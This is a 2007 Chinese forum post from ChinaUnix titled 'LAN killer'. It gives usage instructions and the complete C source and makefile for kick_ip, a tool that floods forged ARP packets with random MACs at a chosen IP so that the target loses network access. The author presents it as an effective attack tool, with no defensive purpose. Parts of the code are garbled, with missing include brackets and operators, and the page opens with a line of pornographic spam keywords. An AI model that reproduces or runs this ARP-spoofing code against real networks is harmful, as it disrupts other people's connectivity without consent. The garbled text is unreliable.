亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊(cè) 查看新帖 |

Chinaunix

  平臺(tái) 論壇 博客 文庫(kù)
最近訪問板塊 發(fā)新帖
查看: 1374 | 回復(fù): 0
打印 上一主題 下一主題

局域網(wǎng)killer [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報(bào)告]
發(fā)表于 2007-08-18 19:55 |只看該作者 |倒序?yàn)g覽

                                                                                東拼西湊來的一段代碼 沒有什么新意 也沒什么技術(shù)含量功能很簡(jiǎn)單 就是讓某個(gè)IP上不了網(wǎng) 實(shí)際使用效果非常好適用環(huán)境: 基于廣播通信的局域網(wǎng)
使用格式 $ sudo kick_ip 你要攻擊的IP地址 網(wǎng)關(guān)的MAC地址 每秒的頻率
e.g.:
$sudo ./kick_ip 202.200.229.122 00:07:0E:E8:3E:1F 10
my_send_arp.h
               
               
                #include sys/socket.h>
#include sys/types.h>
#include netinet/ip.h>
#include string.h>
#include linux/if_ether.h>
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define ARP_REQUEST 2
#define ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
struct arp_packet
{
    u_char targ_hw_addr[ETH_HW_ADDR_LEN];
    u_char src_hw_addr[ETH_HW_ADDR_LEN];
    u_short frame_type;
    u_short hw_type;
    u_short prot_type;
    u_char hw_addr_size;
    u_char prot_addr_size;
    u_short op;
    u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
    u_char sndr_ip_addr[IP_ADDR_LEN];
    u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
    u_char rcpt_ip_addr[IP_ADDR_LEN];
    u_char padding[18];
};
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int send_arp(char *src_ip, char *src_hw, char *tg_ip, char *tg_hw, u_short op);
my_send_arp.c#include "my_send_arp.h"
int send_arp(char *src_ip, char *src_hw, char *tg_ip, char *tg_hw, u_short op)
{
    struct in_addr src_in_addr, targ_in_addr;
    struct arp_packet pkt;
    struct sockaddr sa;
    int sock;
    sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
    pkt.frame_type = htons(ARP_FRAME_TYPE);
    pkt.hw_type = htons(ETHER_HW_TYPE);
    pkt.prot_type = htons(IP_PROTO_TYPE);
    pkt.hw_addr_size = ETH_HW_ADDR_LEN;
    pkt.prot_addr_size = IP_ADDR_LEN;
    pkt.op = htons(op);
    get_hw_addr(pkt.targ_hw_addr, tg_hw);
    get_hw_addr(pkt.rcpt_hw_addr, tg_hw);
    get_hw_addr(pkt.src_hw_addr, src_hw);
    get_hw_addr(pkt.sndr_hw_addr, src_hw);
    get_ip_addr(&src_in_addr, src_ip);
    get_ip_addr(&targ_in_addr, tg_ip);
    memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
    memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
    memset(pkt.padding, 0, 18);
    strcpy(sa.sa_data, DEFAULT_DEVICE);
    sendto(sock,&pkt,sizeof(pkt),MSG_DONTWAIT,&sa,sizeof(sa));
    close(sock);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
    struct hostent *hostp;
    in_addr->s_addr = inet_addr(str);
}
void get_hw_addr (char *buf, char *str)
{
    int i;
    char c, val;
    for(i = 0; i  ETH_HW_ADDR_LEN; i++) {
        c = tolower(*str++);
        if (isdigit(c))
            val = c - '0';
        else
            val = c-'a'+10;
        *buf = val  4;
        c = tolower(*str++);
        if (isdigit(c))
            val = c - '0';
        else
            val = c-'a'+10;
        *buf++ |= val;
        if (*str == ':')
            str++;
    }
}
kick_ip.c#include unistd.h>
#include time.h>
#include stdlib.h>
#include stdio.h>
#include "my_send_arp.h"
char *get_mac();
int main(int argc, char *argv[])
{
    int count=1, de=1000000/atoi(argv[3]);
    if(argc!=4)
        return 0;
    srand(time(NULL));
    while(1){
        printf("Package %d\n", count++);
        send_arp(argv[1], get_mac(), "202.0.0.0", argv[2], ARP_REQUEST);
        usleep(de);
    }
}
char *get_mac()
{
    static char mac[20]={'0', '0', '\0'};
    char *p=mac+2;
    int i;
    for(i=0; i5; i++){
        *p++=':';
        sprintf(p, "%x", rand()%16);
        sprintf(p+1, "%x", rand()%16);
        p++;
    }
    return mac;
}
makefilekick_ip: kick_ip.o my_send_arp.o
    @cc kick_ip.o my_send_arp.o -o kick_ip
kick_ip.o: kick_ip.c
    @cc -c kick_ip.c -o kick_ip.o
my_send_arp.o:my_send_arp.c
    @cc -c my_send_arp.c -o my_send_arp.o
.PHONY: clean
clean:
    @-rm kick_ip kick_ip.o my_send_arp.o
               
               
               
               
               
               
               
               
               
               

本文來自ChinaUnix博客,如果查看原文請(qǐng)點(diǎn):http://blog.chinaunix.net/u/20816/showart_362977.html
您需要登錄后才可以回帖 登錄 | 注冊(cè)

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號(hào)-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號(hào):11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報(bào)專區(qū)
中國(guó)互聯(lián)網(wǎng)協(xié)會(huì)會(huì)員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請(qǐng)注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP